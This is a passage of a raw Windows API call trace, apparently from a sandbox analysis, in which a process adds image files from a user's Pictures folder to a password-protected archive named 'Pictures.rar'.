(HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7e0 [0065.241] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0065.241] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fab0, Size=0x48) returned 0x28b084f9bb0 [0065.241] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d64d0 [0065.241] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0065.241] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fab0, Size=0x48) returned 0x28b084f9520 [0065.242] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d64d0 | out: hHeap=0x28b08430000) returned 1 [0065.242] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0065.242] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0065.242] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f870 [0065.242] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f870 | out: hHeap=0x28b08430000) returned 1 [0065.242] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0065.242] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f7e0, Size=0x48) returned 0x28b084f9570 [0065.242] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9570, Size=0x7a) returned 0x28b084ed400 [0065.242] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed403*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed403*, lpNumberOfBytesWritten=0xf00f8d8070*=0x5d, lpOverlapped=0x0) returned 1 [0065.242] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f630 [0065.242] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x5d) returned 0x28b084633d0 [0065.242] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9520 | out: hHeap=0x28b08430000) returned 1 [0065.242] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed400 | out: hHeap=0x28b08430000) returned 1 [0065.242] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x10d3e0 [0065.243] CloseHandle (hObject=0x350) returned 1 [0065.243] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.243] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.243] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.243] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.243] FindFirstFileW (in: lpFileName="HPs4cKd.bmp", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee970 [0065.243] FindClose (in: hFindFile=0x28b0c0ee970 | out: hFindFile=0x28b0c0ee970) returned 1 [0065.243] CreateFileW (lpFileName="HPs4cKd.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\hps4ckd.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0065.243] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.243] GetTickCount () returned 0x26373 [0065.243] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.243] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0065.243] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.243] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0065.243] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="hh1Bz.png") returned 9 [0065.243] SetWindowTextW (hWnd=0x102c6, lpString="HPs4cKd.bmp") returned 1 [0065.244] GetTickCount () returned 0x26373 [0065.244] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.244] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0065.244] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0065.244] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0065.244] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2a, wMilliseconds=0x2d5)) [0065.244] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0065.244] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15657293993) returned 1 [0065.244] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0xe7ee, lpOverlapped=0x0) returned 1 [0065.245] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b71a82e, nNumberOfBytesToRead=0xf1812, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b71a82e*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0065.245] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.245] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.245] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0065.245] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.245] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f9bb0 [0065.245] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d64d0 [0065.425] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcf0 [0065.425] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fcf0, Size=0x48) returned 0x28b084f9c00 [0065.425] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d64d0 | out: hHeap=0x28b08430000) returned 1 [0065.425] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0065.425] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.425] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f720 [0065.425] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f720 | out: hHeap=0x28b08430000) returned 1 [0065.425] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa20 | out: hHeap=0x28b08430000) returned 1 [0065.425] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9570 [0065.425] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9570, Size=0x7a) returned 0x28b084ecb90 [0065.425] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9c00 | out: hHeap=0x28b08430000) returned 1 [0065.425] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ecb90 | out: hHeap=0x28b08430000) returned 1 [0065.426] GetTickCount () returned 0x2642e [0065.426] GetLastError () returned 0x0 [0065.426] SetLastError (dwErrCode=0x0) [0065.426] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0065.426] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0065.426] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0065.426] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0065.427] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15675522978) returned 1 [0065.427] GetTickCount () returned 0x2642e [0065.427] GetTickCount () returned 0x2642e [0065.427] GetTickCount () returned 0x2642e [0065.427] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xf00f8dd098 | out: ppv=0xf00f8dd098*=0x28b0a22f6f0) returned 0x0 [0065.427] TaskbarList:ITaskbarList3:SetProgressState (This=0x28b0a22f6f0, hwnd=0x102be, tbpFlags=2) returned 0x0 [0065.427] TaskbarList:ITaskbarList3:SetProgressValue (This=0x28b0a22f6f0, hwnd=0x102be, ullCompleted=0x11aab5, ullTotal=0x2141be) returned 0x0 [0065.428] TaskbarList:IUnknown:Release (This=0x28b0a22f6f0) returned 0x0 [0065.428] GetLastError () returned 0x36b7 [0065.428] SetLastError (dwErrCode=0x36b7) [0065.428] GetDlgItem (hDlg=0x102be, nIDDlgItem=157) returned 0x102e0 [0065.428] GetDlgItem (hDlg=0x102be, nIDDlgItem=152) returned 0x102de [0065.428] GetWindowTextW (in: hWnd=0x102de, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 45%") returned 5 [0065.428] SetWindowTextW (hWnd=0x102de, lpString=" 53%") returned 1 [0065.428] GetLastError () returned 0x0 [0065.428] SetLastError (dwErrCode=0x0) [0065.428] GetDlgItem (hDlg=0x102be, nIDDlgItem=164) returned 0x102da [0065.428] GetWindowTextW (in: hWnd=0x102da, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0065.428] SetWindowTextW (hWnd=0x102da, lpString=" 95%") returned 1 [0065.429] SendMessageW (hWnd=0x102e0, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x2d [0065.430] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0065.430] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0065.430] GetFocus () returned 0x102e2 [0065.430] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 0 [0065.430] GetKeyState (nVirtKey=16) returned 0 [0065.430] TranslateAcceleratorW (hWnd=0x102be, hAccTable=0x1033b, lpMsg=0xf00f8dd540) returned 0 [0065.430] TranslateMessage (lpMsg=0xf00f8dd540) returned 0 [0065.430] DispatchMessageW (lpMsg=0xf00f8dd540) returned 0x7f76 [0065.430] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0065.430] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0065.430] GetFocus () returned 0x102e2 [0065.430] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0065.430] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.431] ResetEvent (hEvent=0x344) returned 1 [0065.431] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.433] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.433] ResetEvent (hEvent=0x344) returned 1 [0065.433] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.434] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.435] GetTickCount () returned 0x2643e [0065.435] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15676323380) returned 1 [0065.435] GetTickCount () returned 0x2643e [0065.435] GetTickCount () returned 0x2643e [0065.435] GetTickCount () returned 0x2643e [0065.435] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0065.435] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0065.435] GetFocus () returned 0x102e2 [0065.435] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0065.436] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0065.436] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.436] ResetEvent (hEvent=0x33c) returned 1 [0065.436] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.437] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.437] ResetEvent (hEvent=0x33c) returned 1 [0065.437] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.438] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.438] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.438] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.438] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x10d3e0 [0065.438] SetFilePointer (in: hFile=0x32c, lDistanceToMove=95, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x10d43f [0065.438] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0065.438] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.438] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0065.438] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0065.438] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0065.438] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0xe870, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0xe870, lpOverlapped=0x0) returned 1 [0065.439] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.439] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.439] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1102816, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x10d3e0 [0065.439] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x10d3e0 [0065.439] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.439] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0065.439] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9980 [0065.439] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d7090 [0065.439] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd50 [0065.439] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fd50, Size=0x48) returned 0x28b084f98e0 [0065.439] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d7090 | out: hHeap=0x28b08430000) returned 1 [0065.439] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9980 | out: hHeap=0x28b08430000) returned 1 [0065.439] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0065.439] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcc0 [0065.439] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fcc0 | out: hHeap=0x28b08430000) returned 1 [0065.439] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa80 | out: hHeap=0x28b08430000) returned 1 [0065.439] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f9430 [0065.439] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9430, Size=0x7a) returned 0x28b084ed7f0 [0065.439] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed7f3*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed7f3*, lpNumberOfBytesWritten=0xf00f8d8070*=0x5f, lpOverlapped=0x0) returned 1 [0065.440] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f870 [0065.440] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x5f) returned 0x28b08463600 [0065.440] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f98e0 | out: hHeap=0x28b08430000) returned 1 [0065.440] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed7f0 | out: hHeap=0x28b08430000) returned 1 [0065.440] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x11bcaf [0065.440] CloseHandle (hObject=0x350) returned 1 [0065.440] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.440] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.440] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.440] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.440] FindFirstFileW (in: lpFileName="job -V_cE7uVrHssoWW.jpg", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee3d0 [0065.440] FindClose (in: hFindFile=0x28b0c0ee3d0 | out: hFindFile=0x28b0c0ee3d0) returned 1 [0065.440] CreateFileW (lpFileName="job -V_cE7uVrHssoWW.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\job -v_ce7uvrhssoww.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0065.440] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.440] GetTickCount () returned 0x2643e [0065.440] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.441] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0065.441] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.441] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0065.441] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="HPs4cKd.bmp") returned 11 [0065.441] SetWindowTextW (hWnd=0x102c6, lpString="job -V_cE7uVrHssoWW.jpg") returned 1 [0065.441] GetTickCount () returned 0x2643e [0065.441] UpdateWindow (hWnd=0x102be) returned 1 [0065.441] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.441] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0065.442] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0065.442] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0065.442] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2a, wMilliseconds=0x3a0)) [0065.442] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0065.442] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15677025788) returned 1 [0065.442] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0xbf1b, lpOverlapped=0x0) returned 1 [0065.442] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b717f5b, nNumberOfBytesToRead=0xf40e5, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b717f5b*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0065.442] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.442] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.442] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.442] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0065.442] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fdb0, Size=0x48) returned 0x28b084f9660 [0065.442] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.442] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0065.442] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9430 [0065.442] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.442] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9660 | out: hHeap=0x28b08430000) returned 1 [0065.442] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0065.442] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f6f0 [0065.442] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f6f0 | out: hHeap=0x28b08430000) returned 1 [0065.442] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa50 | out: hHeap=0x28b08430000) returned 1 [0065.442] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f9c00 [0065.442] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9c00, Size=0x7a) returned 0x28b084eca70 [0065.442] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0065.442] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084eca70 | out: hHeap=0x28b08430000) returned 1 [0065.443] GetTickCount () returned 0x2643e [0065.443] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15677116797) returned 1 [0065.443] GetTickCount () returned 0x2643e [0065.443] GetTickCount () returned 0x2643e [0065.443] GetTickCount () returned 0x2643e [0065.443] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.443] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.443] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.443] ResetEvent (hEvent=0x344) returned 1 [0065.443] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.444] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 